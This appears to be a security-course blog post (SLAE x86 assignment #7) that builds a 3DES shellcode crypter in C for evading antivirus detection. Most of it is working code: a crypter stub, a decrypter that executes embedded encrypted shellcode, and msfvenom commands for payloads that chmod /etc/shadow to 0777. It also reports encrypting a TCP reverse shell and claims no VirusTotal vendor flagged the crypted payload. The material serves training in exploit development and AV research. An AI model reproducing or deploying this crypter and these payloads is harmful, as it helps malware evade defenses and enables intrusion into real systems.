ASM Custom crypter (SLAE x86 Assignment #7)

Introduction

This is assignment #7 of the SLAE x86 Exam objectives.

Objectives

  • Create a custom crypter like the one shown in the “crypters” video
    • Free to use any existing encryption schema
    • Can use any programming language

Building a task plan and prerequisites

Shellcode crypter nuances

A shellcode crypter is actually closer to an obfuscation exercise than it is to cryptography. Although called a crypter, it does need to be able to decode itself. So in general, a shellcode crypter would just obfuscate your own shellcode using an encryption schema, so that you would not have to create a polymorphic shellcode in order to avoid signature-based AV detection.

A crypter would only apply to and get past signature-based detection, in case there are any other methods implemented by the an AV/IPS, like checking for and detecting any suspicious network traffic, this method would not be able to get through it.

What this means is that, any encryption schema would be suitable for the task. However, the more complicated and resource consuming algorithm is used, the more time it would take for the decoder stub to decode the actual code. This itself is an additional hurdle as some AV protections may implement a time-based check between the time the application has been run and the time it generates network traffic, although such kind of interference with a process would lead to many false positives, but modern AVs could be quite complicated and well balanced.

To conclude, this means that any encryption algorithm would be suitable, even non-cryptographically secure or reliable, as the purpose is to obfuscate the code instead of making it hard to decrypt (actually this should be actually avoided as it would lead to too much resource consumption).

Choosing an encryption schema

Encryption schemes

The first thing is to choose an encryption schema for the shellcode crypter.

A list of commonly available shellcode encryption schemes are:

  • TEA
  • RC4
  • AES
  • XOR
  • 3DES
  • DES
  • CBC

For more details on the above or additional cryptographic schemes you may refer to this Cryptography Tutorial on tutorialspoint

Here’s also A very good and informative tutorial on C Implementation of Cryptographic Algorithms with source code snippets

Msfvenom encoders

Let’s also checkout the encoders available in msfvenom:

$ msfvenom -l encoders

Framework Encoders
==================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/echo                      good       Echo Command Encoder
    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Generic ${IFS} Substitution Command Encoder
    cmd/perl                      normal     Perl Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    cmd/printf_php_mq             manual     printf(1) via PHP magic_quotes Utility Command Encoder
    generic/eicar                 manual     The EICAR Encoder
    generic/none                  normal     The "none" Encoder
    mipsbe/byte_xori              normal     Byte XORi Encoder
    mipsbe/longxor                normal     XOR Encoder
    mipsle/byte_xori              normal     Byte XORi Encoder
    mipsle/longxor                normal     XOR Encoder
    php/base64                    great      PHP Base64 Encoder
    ppc/longxor                   normal     PPC LongXOR Encoder
    ppc/longxor_tag               normal     PPC LongXOR Encoder
    sparc/longxor_tag             normal     SPARC DWORD XOR Encoder
    x64/xor                       normal     XOR Encoder
    x64/zutto_dekiru              manual     Zutto Dekiru
    x86/add_sub                   manual     Add/Sub Encoder
    x86/alpha_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper               low        Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_underscore_tolower  manual     Avoid underscore/tolower
    x86/avoid_utf8_tolower        manual     Avoid UTF8/tolower
    x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder
    x86/bmp_polyglot              manual     BMP Polyglot
    x86/call4_dword_xor           normal     Call+4 Dword XOR Encoder
    x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder
    x86/context_stat              manual     stat(2)-based Context Keyed Payload Encoder
    x86/context_time              manual     time(2)-based Context Keyed Payload Encoder
    x86/countdown                 normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder
    x86/jmp_call_additive         normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha                  low        Non-Alpha Encoder
    x86/nonupper                  low        Non-Upper Encoder
    x86/opt_sub                   manual     Sub Encoder (optimised)
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit         manual     Single Static Bit
    x86/unicode_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

I’ve decided to make the crypter use 3DES, mostly because I have not met this widely used while looking at others’ write ups.

Task plan

The exercise would consist of the following of the following tasks:

  • Get a 3DES encrypting stub, programmed in C
  • Choose the shellcode to be encoded
    • test the shellcode and make sure it works as expected
  • Pass the shellcode to the crypter
  • Get the generated shellcode to execute
    • test the encrypted shellcode and make sure it works as expected

Looking for a 3DES encrypting skeleton

While searching for a 3DES encryption program coded in C, the following seemd like good candidates:

http://www.firmcodes.com/triple-des-cbc-mode-encryption-example-c-programming-openssl/
https://cpp.hotexamples.com/examples/-/-/DES_ede3_cbc_encrypt/cpp-des_ede3_cbc_encrypt-function-examples.html
https://github.com/wolfSSL/wolfssl-examples/blob/master/crypto/3des/3des-file-encrypt.c
https://www.example-code.com/c/crypt2_3des.asp

The first candidate looks the most straightforward as it uses the openssl library which is included along with the kernel headers.

/* http://www.firmcodes.com/triple-des-cbc-mode-encryption-example-c-programming-openssl/ 
Compiling:
gcc -o 3des 3des.c -lssl -lcrypto
*/
$ cat 3des.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/des.h>

/* Triple DES key for Encryption and Decryption */
DES_cblock Key1 = { 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11 };
DES_cblock Key2 = { 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22 };
DES_cblock Key3 = { 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33 };
DES_key_schedule SchKey1,SchKey2,SchKey3;

/* Print Encrypted and Decrypted data packets */
void print_data(const char *tittle, const void* data, int len);

int main()
{
	/* Input data to encrypt */
	unsigned char input_data[] = {0x01, 0x02, 0x03, 0x04, 0x05};
	
	/* Init vector */
	DES_cblock iv = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
	DES_set_odd_parity(&iv);
	
	/* Check for Weak key generation */
	if ( -2 == (DES_set_key_checked(&Key1, &SchKey1) || DES_set_key_checked(&Key2, &SchKey2) || DES_set_key_checked(&Key3, &SchKey3)))
	{
		printf(" Weak key ....\n");
		return 1;
	}
	
	/* Buffers for Encryption and Decryption */
	unsigned char* cipher[sizeof(input_data)];
	unsigned char* text[sizeof(input_data)];
	
	/* Triple-DES CBC Encryption */
	DES_ede3_cbc_encrypt( (unsigned char*)input_data, (unsigned char*)cipher, sizeof(input_data), &SchKey1, &SchKey2, &SchKey3,&iv, DES_ENCRYPT);
	
	/* Triple-DES CBC Decryption */
	memset(iv,0,sizeof(DES_cblock)); // You need to start with the same iv value
	DES_set_odd_parity(&iv);
	DES_ede3_cbc_encrypt( (unsigned char*)cipher, (unsigned char*)text, sizeof(input_data), &SchKey1, &SchKey2, &SchKey3,&iv,DES_DECRYPT);
	
	/* Printing and Verifying */
	print_data("\n Original ",input_data,sizeof(input_data));
	print_data("\n Encrypted",cipher,sizeof(input_data));
	print_data("\n Decrypted",text,sizeof(input_data));
	
	return 0;
}
void print_data(const char *tittle, const void* data, int len)
{
	printf("%s : ",tittle);
	const unsigned char * p = (const unsigned char*)data;
	int i = 0;
	
	for (; i<len;++i)
		printf("%02X ", *p++);
	
	printf("\n");
}

from C Implementation of Cryptographic Algorithms by Jace H. Hall

2.3 3DES
2.3.1 Encrypting and Decrypting With Triple DES
The following code example shows the encryption and decryption process using 3DES with and without CBC.
The key scheduler is set to populate both key schedules. The results of the operations are stored in the original
data array.

/* 
https://www.ti.com/lit/an/slaa547c/slaa547c.pdf?ts=1657235262630&ref_url=https%253A%252F%252Fwww.google.de%252F

*** This code uses a third party library by Texas Instruments - installing it and using it out of scope or this post ***
*/ 
$ cat 3des.c 
#include "msp430xxxx.h"
#include "TI_DES.h"
int main( void )
{
 des_ctx dc1; // Key schedule structure
 unsigned char *cp;
 unsigned char data[] = {0x69, 0xc4, 0xe0, 0xd8, 0x6a, 0x7b, 0x04, 0x30, 0xd8,
 0xcd, 0xb7, 0x80, 0x70, 0xb4, 0xc5, 0x5a};
 unsigned char key[8] = {0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07};
 unsigned char key1[8] = {0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xfe};
 unsigned char key2[8] = {0x01,0x23,0x45,0x67,0x89,0xab,0xdc,0xfe};
 cp = data;
 ///First 8 bytes of Data will be Encrypted then Decrypted
 TripleDES_ENC( &dc, cp, 1, key, key1, key2); // 3DES Encrypt
 TripleDES_DEC( &dc, cp, 1, key, key1, key2); // 3DES Decrypt
 /// All 16 Bytes of Data will be Encrypted then Decrypted with CBC
 TripleDES_ENC_CBC( &dc, cp, 2, key, key1, key2); // 3DES Encrypt
 TripleDES_DEC_CBC( &dc, cp, 2, key, key1, key2); // 3DES Decrypt
return 0;
}

Compiling:
* Requires third party library

3DES Shellcode crypter stub

! Important caveat*

The original example is actually wrong, as the way the size is passed when the encryption occurs gets the length of the input data instead of the encrypted cipher. While this works in the example as is, when providing an encrypted cipher to a decoder stub later where the input string does not exist, it would not work as bytes will be missing, due to the fact that the encrypted cipher is usually larger than the original input string.

To comprehend this, you may take a look at the following explanation on Difference between strlen() and sizeof() for string in C

Due to the reason that the encrypted string will be larger than the input data, the compiler would need to allocate memory space larger than the size of the original string. It would also contain some null bytes which terminate the string due to the way the 3DES algorithm works, probably as it needs some space to work with while decrypting, so the cipher then has to be trimmed to the first null-byte.

As there’s no need to print actual null-bytes which are considered bad characters for our shellcode there’s no need to print the terminating character at all.

As an additional consideration, the 3DES algorithm crypto library may need some of the null-bytes during decryption, so the approach would be to use sizeof() while passing the encrypted string as a parameter and use strlen() while printing the output of the decrypted string.

Due to the way memory allocation works the decrypted string would still be larger than what is needed for the decrypted string, so there would be no need to get the characters past the null-byte string to get the decrypted data.

* It took me a very long time to figure out what the issue was with the missing data at the end when passing the encryppted string. The screenshot below shows how using the sizeof function on the wrong variable resulted in inconsistencies because of passing the wrong encrypted string with missing data:

bugos decryption due to missing data
$ sh
$ ./3des1

 Original  : \xbb\xcc\xfe\x70\x5c\xdb\xd8\xd9\x74\x24\xf4\x5d\x29\xc9\xb1\x08\x83\xc5\x04\x31\x5d\x11\x03\x5d\x11\xe2\x39\x67\x1a\x53\x99\xca\x33\x6c\x19\xeb\xc3\x5c\x6d\x86\xb3\x8d\xeb\x58\x6f\xba\x0c\x59\x8f\x3a\xab\x97\x0f\x50\x4a\x70\xdd\x25\x00 Size: 59

 Encrypted : \x22\xed\x0c\xe4\xad\xda\xbc\xca\x2e\x72\x32\xdd\x7a\x4c\x44\xd9\xb4\xc7\x6b\xd7\x6a\x8b\x38\x80\x2c\x76\xea\x6a\x0a\xf5\x08\x43\xee\x0b\x54\x6b\x2f\x32\x27\x5f\x6a\xfa\x63\x44\xe9\xc3\xb6\x84\x90\x24\xa6\xea\x1a\xdf\x5d\x97\x49\x95\x14 Size: 59

 Decrypted : \xbb\xcf\xfd\x75\x59\xdd\xde\xd0\x74\x24\xf4\x5d\x29\xc9\xb1\x08\x83\xc5\x04\x31\x5d\x11\x03\x5d\x11\xe2\x39\x67\x1a\x53\x99\xca\x33\x6c\x19\xeb\xc3\x5c\x6d\x86\xb3\x8d\xeb\x58\x6f\xba\x0c\x59\x8f\x3a\xab\x97\x0f\x50\x4a\x70\xdd\x25\x00 Size: 59

 Decrypted (manual)  : \xbb\xcf\xfd\x75\x59\xdd\xde\xd0\x74\x24\xf4\x5d\x29\xc9\xb1\x08\x83\xc5\x04\x31\x5d\x11\x03\x5d\x11\xe2\x39\x67\x1a\x53\x99\xca\x33\x6c\x19\xeb\xc3\x5c\x6d\x86\xb3\x8d\xeb\x58\x6f\xba\x0c\x59\x8f\x3a\xab\x97\x0f\x50\x4a\x70\xb2\x1a\x08\x77 Size: 60

Note how when passing the encrypted string ending in \x14, which is actually missing bytes, resulted in incorrectly decrypting the encrypted data when manually passing the encrypted string to the DES_ede3_cbc_encrypt function for decryption. The same does not happen when the function is printing the decrypted output directly from memory because it works with the correctly formed shellcode byte order although not printed.

The semantically wrong code outputting the above data is as following:

        /* Buffers for Encryption and Decryption */
        unsigned char* cipher[sizeof(input_data)];
        unsigned char* text[sizeof(input_data)];

        /* Triple-DES CBC Encryption */
        DES_ede3_cbc_encrypt( (unsigned char*)input_data, (unsigned char*)cipher, sizeof(input_data), &SchKey1, &SchKey2, &SchKey3,&iv, DES_ENCRYPT);

        /* Triple-DES CBC Decryption */
        memset(iv,0,sizeof(DES_cblock)); // You need to start with the same iv value
        DES_set_odd_parity(&iv);
        DES_ede3_cbc_encrypt( (unsigned char*)cipher, (unsigned char*)text, sizeof(input_data), &SchKey1, &SchKey2, &SchKey3,&iv,DES_DECRYPT);


        unsigned char c[] = \
"\x22\xed\x0c\xe4\xad\xda\xbc\xca\x2e\x72\x32\xdd\x7a\x4c\x44\xd9\xb4\xc7\x6b\xd7\x6a\x8b\x38\x80\x2c\x76\xea\x6a\x0a\xf5\x08\x43\xee\x0b\x54\x6b\x2f\x32\x27\x5f\x6a\xfa\x63\x44\xe9\xc3\xb6\x84\x90\x24\xa6\xea\x1a\xdf\x5d\x97\x49\x95\x14";
        unsigned char* decrypted[sizeof(c)];
        // DES_set_odd_parity(&iv);
        memset(iv,0,sizeof(DES_cblock)); // You need to start with the same iv value
        DES_set_odd_parity(&iv);
        DES_ede3_cbc_encrypt( (unsigned char*)c, (unsigned char*)decrypted, sizeof(c), &SchKey1, &SchKey2, &SchKey3,&iv,DES_DECRYPT);

        /* Printing and Verifying */
        print_data("\n Original ",input_data,sizeof(input_data));
        print_data("\n Encrypted",cipher,sizeof(input_data));
        print_data("\n Decrypted",text,sizeof(input_data));
        print_data("\n Decrypted (manual) ",decrypted,sizeof(c));

The following lines have to be changed:

/* Printing and Verifying */
print_data("\n Original ",input_data,sizeof(input_data)); // WRONG! -> strlen(input_data)
print_data("\n Encrypted",cipher,sizeof(input_data)); // WRONG ! -> strlen(cipher)
print_data("\n Decrypted",text,sizeof(input_data)); // WRONG! -> strlen(input_data)

Fixing the code resulted in the following difference in the Encrypted string:

Encrypted : \x22\xed\x0c\xe4\xad\xda\xbc\xca\x2e\x72\x32\xdd\x7a\x4c\x44\xd9\xb4\xc7\x6b\xd7\x6a\x8b\x38\x80\x2c\x76\xea\x6a\x0a\xf5\x08\x43\xee\x0b\x54\x6b\x2f\x32\x27\x5f\x6a\xfa\x63\x44\xe9\xc3\xb6\x84\x90\x24\xa6\xea\x1a
\xdf\x5d\x97\x49\x95\x14 Size: 59

Encrypted : \x22\xed\x0c\xe4\xad\xda\xbc\xca\x2e\x72\x32\xdd\x7a\x4c\x44\xd9\xb4\xc7\x6b\xd7\x6a\x8b\x38\x80\x2c\x76\xea\x6a\x0a\xf5\x08\x43\xee\x0b\x54\x6b\x2f\x32\x27\x5f\x6a\xfa\x63\x44\xe9\xc3\xb6\x84\x90\x24\xa6\xea\x1a
\xdf\x5d\x97\x49\x95\x14\xc1\x8a\x46\x8c\x32 Size: 64

Note how the first version is missing bytes from the cipher whereas the second one provides the complete encrypted string.

Obstacles in front

An additional very important detail while coding this, was that the web is full of examples which are ACTUALLY WRONG ! The original example taken would NOT take the key. I tried encrypting and decrypting the encoded cipher numerous times by providing alternative keys and it actually worked. I tried looking for more examples on the issue and found this example, which seems to be hosted in this git repo, nicely containing examples on other cryptographic algorithms coded in C as well!

What this means is, the original code was not taking and applying the keys at all, due to a very important part of the code missing:

    DES_set_key((DES_cblock *)Key1, &SchKey1);
    DES_set_key((DES_cblock *)Key2, &SchKey2);
    DES_set_key((DES_cblock *)Key3, &SchKey3);

And based on the above let’s form an actually working example of how to program a 3DES encoder in C using the provided keys:

#include <stdio.h>
#include <string.h>
#include <openssl/des.h>

/* Triple DES key for Encryption and Decryption */
DES_cblock Key1 = "AAAAAAAA";
DES_cblock Key2 = "BBBBBBBB";
DES_cblock Key3 = "CCCCCCCC";
DES_key_schedule SchKey1,SchKey2,SchKey3;

int main()
{
        /* Set and apply 3DES Keys */
        DES_set_key((DES_cblock *)Key1, &SchKey1);
        DES_set_key((DES_cblock *)Key2, &SchKey2);
        DES_set_key((DES_cblock *)Key3, &SchKey3);

        /* alternatively, DES_random_key may be used */
        /*
        DES_random_key(&key1);
        DES_random_key(&key2);
        DES_random_key(&key2);
        */

        unsigned char input_data[] = "3DES Crypter by \\x0d\\x07\\x0d...";

        /* Initialization Vector */
        DES_cblock iv = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
        // DES_cblock iv = { 0xe1, 0xe2, 0xe3, 0xd4, 0xd5, 0xc6, 0xc7, 0xa8 };
 
       /* Check for Weak key generation: https://www.openssl.org/docs/manmaster/man3/DES_set_key_checked.html 
        If the key is a weak key, then -2 is returned
       */

        if ( -2 == (DES_set_key_checked(&Key1, &SchKey1) || DES_set_key_checked(&Key2, &SchKey2) || DES_set_key_checked(&Key3, &SchKey3)))
        if ( -2 == DES_set_key_checked(&Key1, &SchKey1))
        {
                printf(" Weak key ....\n");
                return 1;
        }

        /* Buffers for Encryption and Decryption */
        unsigned char* cipher[sizeof(input_data)];
        unsigned char* decrypted[sizeof(input_data)];

        /* Triple-DES CBC Encryption */
        DES_set_odd_parity(&iv);
        DES_ede3_cbc_encrypt( (unsigned char*)input_data, (unsigned char*)cipher, sizeof(input_data), &SchKey1, &SchKey2, &SchKey3,&iv, DES_ENCRYPT);

        /* Triple-DES CBC Decryption */
        memset(iv,0,sizeof(DES_cblock)); // You need to start with the same iv value
        DES_set_odd_parity(&iv);
        DES_ede3_cbc_encrypt( (unsigned char*)cipher, (unsigned char*)decrypted, sizeof(input_data), &SchKey1, &SchKey2, &SchKey3,&iv,DES_DECRYPT);


        printf("Encrypted string: %s", cipher);
        printf("\nDecrypted string: %s", decrypted);

        return 0;
}

After some code refactoring, below is my the modified version for the 3DES shellcode crypter stub, coded in C:

/* ***
 *
 *  3DES Shellcode crypter by d7x
 *
 *  d7x.promiselabs.net
 *
 *  Usage: gcc -fno-stack-protector -zexecstack -m32 -o 3des_crypter 3des_crypter.c -lssl -lcrypto
 *
 * ***/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/des.h>

/* Triple DES key for Encryption and Decryption */
DES_cblock Key1 = "3DES";
DES_cblock Key2 = "Crypter";
DES_cblock Key3 = "by d7x";
DES_key_schedule SchKey1,SchKey2,SchKey3;

/* Print Encrypted and Decrypted bytes */
void print_data(const char *tittle, const void* data, int len);

int main()
{

	/* Apply 3DES keys */ 
	DES_set_key((DES_cblock *)Key1, &SchKey1);
	DES_set_key((DES_cblock *)Key2, &SchKey2);
	DES_set_key((DES_cblock *)Key3, &SchKey3);

	/* Place shellcode here */
	unsigned char input_data[] = "\xbb\xcc\xfe\x70\x5c\xdb\xd8\xd9\x74\x24\xf4\x5d\x29\xc9\xb1\x08\x83\xc5\x04\x31\x5d\x11\x03\x5d\x11\xe2\x39\x67\x1a\x53\x99\xca\x33\x6c\x19\xeb\xc3\x5c\x6d\x86\xb3\x8d\xeb\x58\x6f\xba\x0c\x59\x8f\x3a\xab\x97\x0f\x50\x4a\x70\xdd\x25"; 
	/* => chmods /tmp/f to 0777 */

	/* Init vector */
	DES_cblock iv = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };

	// DES_cblock iv = { 0xe1, 0xe2, 0xe3, 0xd4, 0xd5, 0xc6, 0xc7, 0xa8 };
	DES_set_odd_parity(&iv);
	
	/* Check for Weak key generation: https://www.openssl.org/docs/manmaster/man3/DES_set_key_checked.html,  
	 * If the key is a weak key, then -2 is returned */
	if ( -2 == (DES_set_key_checked(&Key1, &SchKey1) || DES_set_key_checked(&Key2, &SchKey2) || DES_set_key_checked(&Key3, &SchKey3)))
	{
		printf(" Weak key ....\n");
		return 1;
	}
	
	/* Buffers for Encryption and Decryption */
	unsigned char* cipher[sizeof(input_data)];
	unsigned char* text[sizeof(input_data)];
	
	/* Triple-DES CBC Encryption */
	DES_ede3_cbc_encrypt( (unsigned char*)input_data, (unsigned char*)cipher, sizeof(input_data), &SchKey1, &SchKey2, &SchKey3,&iv, DES_ENCRYPT);
	
	/* Triple-DES CBC Decryption */
	memset(iv,0,sizeof(DES_cblock)); // You need to start with the same iv value
	DES_set_odd_parity(&iv);
	DES_ede3_cbc_encrypt( (unsigned char*)cipher, (unsigned char*)text, sizeof(input_data), &SchKey1, &SchKey2, &SchKey3,&iv,DES_DECRYPT);

	/* Place the encrypted output here to verify the integrity */
	unsigned char c[] = \
"\xd5\x0c\x1e\xee\xfd\x1f\xb4\x50\xac\xde\x1a\x59\x4c\x10\xe9\x7a\x2c\xb0\x09\x79\x2c\xe0\x28\x17\xf4\x60\xc9\x0a\x33\x27\x48\x03\xc4\x8d\x4d\x26\x0b\x7c\xdd\xa9\xcf\x65\x0f\xac\xd3\xc2\xa8\x67\xde\xf6\x83\x02\x8a\x01\xa8\x1f\x95\x23\x94\x25\xdf\xce\xa3\x79\x0c\xdc\x81\xf7";
	unsigned char decrypted[sizeof(c)];

	// DES_set_odd_parity(&iv);
	memset(iv,0,sizeof(DES_cblock)); // You need to start with the same iv value
	DES_set_odd_parity(&iv);
	DES_ede3_cbc_encrypt( (unsigned char*)c, (unsigned char*)decrypted, sizeof(c), &SchKey1, &SchKey2, &SchKey3,&iv,DES_DECRYPT);
	
	/* Printing and Verifying */
	print_data("\n Original ",input_data,strlen(input_data));
	print_data("\n Encrypted",cipher,strlen(cipher));
	print_data("\n Decrypted",text,strlen(input_data));
	print_data("\n Decrypted (manual) ",decrypted,strlen(decrypted));

	/* Run shellcode */
	/* int (*ret)() = (int(*)())decrypted;
	ret(); */
	
	return 0;
}

void print_data(const char *tittle, const void* data, int len)
{
	printf("%s : ",tittle);
	const unsigned char * p = (const unsigned char*)data;
	int i = 0;
	
	/* len-1 to omit the \x00 null terminator at the end */
	for (; i<len;++i)
		printf("\\x%02x", *p++);
	printf(" Size: %d", len);
	
	printf("\n");
}

Generate shellcode using msfvenom

$ msfvenom -p linux/x86/chmod FILE=/tmp/f MODE=0777 -e x86/bloxor -b '\x00' -f c  > out.shellcode
$ cat out.shellcode | sed '1d' | sed -E -z 's/"|\n|;//g'; echo

Copy shellcode to clipboard:

cat out.shellcode | sed '1d' | sed -E -z 's/"|\n|;//g' | xclip -selection clipboard #; echo

Run the shellcode using decryptor

/* ***
 *
 *  3DES Shellcode crypter by d7x
 *
 *  d7x.promiselabs.net
 *
 *  Usage: gcc -fno-stack-protector -zexecstack -m32 -o 3des_decrypt 3des_decrypt.c -lssl -lcrypto
 *
 * ***/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/des.h>

/* Triple DES key for Encryption and Decryption */
DES_cblock Key1 = "3DES";
DES_cblock Key2 = "Crypter";
DES_cblock Key3 = "by d7x";
DES_key_schedule SchKey1,SchKey2,SchKey3;

/* Print Encrypted and Decrypted data packets */
void print_data(const char *tittle, const void* data, int len);

main()
{

	/* Apply 3DES keys */

	DES_set_key((DES_cblock *)Key1, &SchKey1);
	DES_set_key((DES_cblock *)Key2, &SchKey2);
	DES_set_key((DES_cblock *)Key3, &SchKey3);


	/* Encrypted shellcode generated by 3des_crypter */
	unsigned char shellcode_3des[] = \
"\xd5\x0c\x1e\xee\xfd\x1f\xb4\x50\xac\xde\x1a\x59\x4c\x10\xe9\x7a\x2c\xb0\x09\x79\x2c\xe0\x28\x17\xf4\x60\xc9\x0a\x33\x27\x48\x03\xc4\x8d\x4d\x26\x0b\x7c\xdd\xa9\xcf\x65\x0f\xac\xd3\xc2\xa8\x67\xde\xf6\x83\x02\x8a\x01\xa8\x1f\x95\x23\x94\x25\xdf\xce\xa3\x79\x44\x5d\x82\xff\x40\x5d\x82\xff\x06";


	/* Init vector */

	DES_cblock iv = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
	DES_set_odd_parity(&iv);
	
	/* buffer for the decrypted string */
	unsigned char* decrypted[sizeof(shellcode_3des)];


	/* Triple-DES CBC Decryption */

	memset(iv,0,sizeof(DES_cblock)); // You need to start with the same iv value
	DES_set_odd_parity(&iv);
	DES_ede3_cbc_encrypt( (unsigned char*)shellcode_3des, (unsigned char*)decrypted, sizeof(shellcode_3des), &SchKey1, &SchKey2, &SchKey3,&iv,DES_DECRYPT);
	
	memcpy(shellcode_3des, decrypted, strlen(decrypted) );
	// strcpy(shellcode_3des, decrypted);


	/* Printing and executing */

	print_data("\n Encrypted",shellcode_3des,sizeof(shellcode_3des));
	print_data("\n Decrypted",decrypted,strlen(decrypted));


	/* Run shellcode */

	int (*ret)() = (int(*)())shellcode_3des; 
	ret();
	
	return 0;
}

void print_data(const char *tittle, const void* data, int len)
{
	printf("%s : ",tittle);
	const unsigned char * p = (const unsigned char*)data;
	int i = 0;

	/* len-1 to omit the \x00 null terminator at the end */
	for (; i<len;++i)
		printf("\\x%02x", *p++);
	printf(" Size: %d", len);
	
	printf("\n");
} 

Running the decrypter

$ gcc -fno-stack-protector -zexecstack -m32 -o 3des_decrypt 3des_decrypt.c -lssl -lcrypto

$ ./3des_decrypt

Here’s the result from the generated payload on virustotal:

3des crypter generated file on virustotal.com

Here’s an actual payload of chmodding /etc/shadow to 0777 generated using the following msfvenom command, and then its shellcode passed to the 3des crypter, which had a 100% success rate during my testing:

$ msfvenom -p linux/x86/chmod FILE=/etc/shadow MODE=0777 -b '\x00\x90\x0d\x0a' -f c > out.shellcode
3des crypter – chmod /etc/shadow to 0777 msfvenom

And the results from msfvenom without using the 3des crypter:

msfvenom -p linux/x86/chmod FILE=/etc/shadow MODE=0777 -b '\x00\x90\x0d\x0a' -f elf > chmod.bin

And also an attempt to spawn a tcp reverse shell, encoded with x86/shikata_ga_nai:

Results of original msfvenom payload:

AV detection on msfvenom tcp reverse shell payload – x86/shikata_ga_nai

Encoded with 3des crypter:

3des crypter – getting a reverse shell
sha256 sum of 3des_decrypt: d3ee469f2b3243d9808954e238da781314cd6233123816be64710bf059096f4f

3des crypter – reverse shell and proof of sha256 hash

Encoding a reverse shell tcp payload using the 3des crypter resulted in 100% success rate:

reverse shell tcp payload – AV evasion with 100% success rate /
d3ee469f2b3243d9808954e238da781314cd6233123816be64710bf059096f4f

To prevent abuse, some of the actual commands and methods in this article may have been obfuscated or partially demonstrated.

Update Comparison: a few days later

22 vendors flagged the payload generated by msfvenom as malicious, whereas no vendors flagged the payload obfuscated by the custom 3DES Crypter.

Original msfvenom payload:

9e59f7acb753d43682656c8c6aadd0b361dea3d687658b1b2859b674011fd1b4



Payload encrypted by the 3des crypter:

d3ee469f2b3243d9808954e238da781314cd6233123816be64710bf059096f4f

Conclusion

As the present post shows, although creating custom crypters to obfuscate generated shellcode is a non-trivial and intensive task, mostly due to the lack of examples on custom shellcode creation using encryption scheme algorithms, it is a feasible objective which could be easily solved when the required effort to refine and tune your research has been put into place. AV Evasion techniques contain the element of the never-ending chase, so the more research your shellcode crypter required the most chance it has not been used by anyone else and could avoid the most recent and up to date signatures.

This completes the Assignment #7 for the SLAE x86 course and the overall exam requirements.

Download

3DES Shellcode Crypter:

PacketStormSecurity:
https://packetstormsecurity.com/files/167723/3DES-Shellcode-Crypter.html

Github:
https://github.com/d7x/shellcode/tree/main/linux/3des_crypter

Resources:


C Implementation of Cryptographic Algorithms
http://www.firmcodes.com/triple-des-cbc-mode-encryption-example-c-programming-openssl/
https://github.com/dduros1/automated-detection-thesis
https://github.com/wolfSSL/wolfssl-examples/blob/master/crypto/3des/3des-file-encrypt.c
https://www.example-code.com/c/crypt2_3des.asp



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-34669